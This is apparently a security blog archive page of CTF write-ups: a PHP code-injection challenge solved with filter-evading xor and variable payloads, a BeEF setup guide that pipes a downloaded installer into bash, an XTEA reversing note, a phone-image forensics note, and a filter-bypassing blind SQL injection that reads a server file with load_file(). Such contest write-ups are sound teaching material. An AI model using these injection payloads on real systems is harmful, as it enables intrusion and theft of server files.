También se han descubierto diferentes fallos de implementación (como la 08, que te daba la key sin disponer del token; o los permisos de "nmap" que te permitían saltarte niveles y además neutralizar el avance al resto de concursantes) y de inestabilidad (en especial, en las pruebas shells: la máquina se quedaba sin recursos). En un concurso de estas características estos detalles se deberían de cuidar.

Thursday, January 26, 2012

Mozilla CTF 2012 - Ch#16: "Sharkpedia" (400 pts)



We didn't participate at this CTF (dear Mozilla fellows: next time please arrange the date somewhere in the weekend! thx :P) but some of us had a look to the challenges. One of them which got my attention was "Sharkpedia". Now it's offline but basically it was a PHP page with one input parameter used to select amongst three functions: "a", "b" and "c". Different "shark" images were shown (those ugly pets which David Litchfield likes so much }:-)) when any of former choices were selected and also the input was printed.



After some quick tests, I realized that:
- any other chars different from [A-Za-z_] could be entered but were ignored when looking for functions a, b or c (no exhaustive test done so forgive me if it may not be 100% accurate). So all of these are valid to select function "a":


- if any of ab or c function matched, then the whole string was used inside PHP probably to build the function call to the appropiate function. Due to insufficient input sanitizing, it was possible to escape the string construction. For instance, I could concatenate strings, xoring, etc:

  • p=a'.'
  • p=a'^'
  • ...
Our goal is to execute arbitrary PHP code. How could we get that?

Let's try to call phpinfo() function. My first attempt was:
p=a'.phpinfo().'

Guess what? Not possible because we need to match the "a" (or "b" or "c") function. PHP page would try to compare with "aphpinfo" function, which doesn't exist.

Second attempt: building "phpinfo" string without using [A-Za-z_]. I used a simple xor construction:
p=a'.(%8F%97%8F%96%91%99%90^%FF%FF%FF%FF%FF%FF%FF)().'


It didn't work because function name obtained by xoring was not taken as string type. I couldn't figure out how to cast into string given the filter limitations :-/

Third attempt: we get a PHP error stating that %ff (its ascii char, not the % representation) function didn't exist if we entered:
p=a'.%FF().'

So I was very near. But still insufficient. Shit!

I decided to use PHP variables (which imply nice type-conversions :-)). I built a custom .php for making some tests and uploaded to my test web server. My tests showed that it was perfectly possible to execute code by injecting:
p=a'.$var=phpinfo.$var().'

Former sentence creates a variable containing the command to run and finally invokes the function given by that name. Simple...

Or not so simple... Remember we cannot use [A-Za-z_] chars (well, we could use "$a" for instance, but then we would need another "$a" for invoking the function; and that's two "a" letters:  not permitted). Time to RTFM! PHP manual states that a variable name follows this regexp syntax:
'[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*'

Mistery solved: we can use $\xde\xad or $\xca\xfe (e.g.) as variable names. For the sake of simplicity, I'll call my variable: $\xfe (in url-encoding format: $%fe).

Coming back to the real challenge and trying to applying what we had learned above we entered:

A nice phpinfo screen appears!!! Hurray!

Now in order to get a directory listing, let's run a simple PHP passthru("ls"):

Oh, there's a file called "very_secret_fil3_pls_read_content.txt". Let's run "cat very_secret_fil3_pls_read_content.txt" (and this is the final solution):

We got the flag:
GaoxMpTbGFFD

Funny challenge :)

Wednesday, November 2, 2011

Quick RVM + BeEF install guide


Disclaimer: This is only a recipe I wrote for me. But I thought it could be useful for other people so I decided to share it. Of course, no guarantee! So if you encounter any problem, then I can only say this: RTFM! :-)

Note #1: I used Debian 5.x but it should work for other UNIXes.
Note #2: Perhaps you'll need to invoke "apt-get" with some *-dev/lib packages. Unfortunately I didn't take note of that.


RVM.-

1/ Install on ~/.rvm
$ bash < <(curl -s https://raw.github.com/wayneeseguin/rvm/master/binscripts/rvm-installer )

$ echo '[[ -s "$HOME/.rvm/scripts/rvm" ]] && . "$HOME/.rvm/scripts/rvm" # Load RVM function' >> ~/.bash_profile

$ rvm requirements

$ rvm list known

$ rvm install 1.9.2

2/ We test "rvm"...
$ rvm use 1.9.2

$ ruby -v

Optionally, you can set a version of Ruby to use as the default for new shells. Note that this overrides the 'system' ruby:
$ rvm use 1.9.2 --default

For turning back to system default Ruby:
$ rvm use system


BEEF.-

3/ Set up Ruby environment for BeEF
$ rvm use 1.9.2
$ rvm gemset create beef
$ rvm 1.9.2@beef

4/ Dowload from svn
$ svn checkout http://beef.googlecode.com/svn/trunk/ beef-read-only

Then rename to "beef" & cd to it.

5/ Execute BeEF installer:
$ ruby install

And then choose "automatic install". Otherwise, ask the installer what to install and then manually install it:
$ gem install ansi term-ansicolor dm-core json data_objects do_sqlite3 sqlite3 dm-sqlite-adapter parseconfig erubis dm-migrations librex --no-rdoc --no-ri

6/ Change default user/pass:
beef / beef

By editing the file:
extensions/admin_ui/config.yaml

7/ We also can change listening host & port by editing the file:
config.yaml

8/ Create startup script: "beefstart"

#!/bin/bash

[[ -s "$HOME/.rvm/scripts/rvm" ]] && . "$HOME/.rvm/scripts/rvm" # Load RVM function

# Beef environment setup
rvm 1.9.2@beef

# Don't forget to change this according to your needs!
cd /home/roman/tools/beef

# Run BeEF
./beef

# Return to system Ruby
rvm system

9/ Now, to run BeEF
$ ./beefstart

(we can just add BeEF directory to $PATH)

Monday, September 26, 2011

CSAW 2011 CTF Quals - Reversing - .NET1 (200 pts)

Just saw the write-up for .NET1 by K3YS3C. That was the hard way.

Following KISS principle, the challenge could be easily solved by using Cryptool 2 (yes, we all are used to work with 1.x, aren't we?). Even for a non expert crypto-man like me, it's not difficult to identify that the algorithm used was XTEA, simply by googling for the magic number 0x9e3779b9 (taken from ProcessBlock function on Reflector's disassembling) and then analyzing XTEA against our disassembling.

XTEA is supported by Cryptool 2 (good catch by Kachakil). Given that, it's a matter of learning how to use the new interface. You can load the TEA template and then modify the properties of TEA box to select XTEA (supported: TEA, XTEA and XXTEA).

Given the 128 bits key from:


 It's needed to be converted from "unsigned int" to (hex-encoded) byte stream: 
 24740273699451943759381465844103

Feeding former key to Cryptool 2:


 Et voilà, you got the key!

key{  f79b5967afade81c142eab7e4b4c9a3b  }

Wednesday, March 31, 2010

Codegate 2010 challenge 19

We have to find a clue about a guy that probably committed suicide, and only a FAT image file (from his phone) is provided. This challenge is very easy if you are lucky to find the key, but it can take a lot of time if not, because we don’t know exactly what we are looking for.

I started opening the mail and web cache files, but there was a lot of garbage, so I decided to change the strategy, opening the entire volume directly in a hex editor and searching for terms like “suicide”. Then, I found some more garbage, but fortunately in the same fragment (very close to this word), I saw a Google search with an odd string (where can i buy potassium cyanide), and this was the key of the challenge.

Codegate 2010 challenge 9

In this challenge we see a web application form with three fields: no, id and pw, with default values (1, guest and guest respectively). Our goal is to login as the administrator.


After some basic tests, we suspect the field no (supposed to be numeric) is vulnerable to SQL injection, but with some added difficulties, because it is filtered. The application will return “Access denied” if the injection contains words like and, or, into, from, /, spaces, quotes and so on.


To bypass the filter, we can replace the following:
• A space with a tabulator (url-encoded as %09)
• The or operator with ||
• The and operator with & (url-encoded as %26)
• Strings literals with hex notation (ex: 'abc' = 0x616263)


Then, we can build and automate a blind SQL injection like this:

index.php?id=guest&pw=guest&no=1||1%09group%09by%09id%09having%09pw>0x61…


We get the password of the first form: rEAD:/TMP/ADMIN_PASSWORD


Unfortunately, it was not the final password, but only a hint (we have to read this file). Because the database was MySQL, we achieved this goal using the load_file() built-in function (remember: we must hex-encode the target file name), injecting as follows:


…&no=1%26(load_file(0x2f746d702f61646d696e5f70617373776f7264)>0x00…)


We get the final key: 0da65a3fde3f2b928ff15b629bcdeebf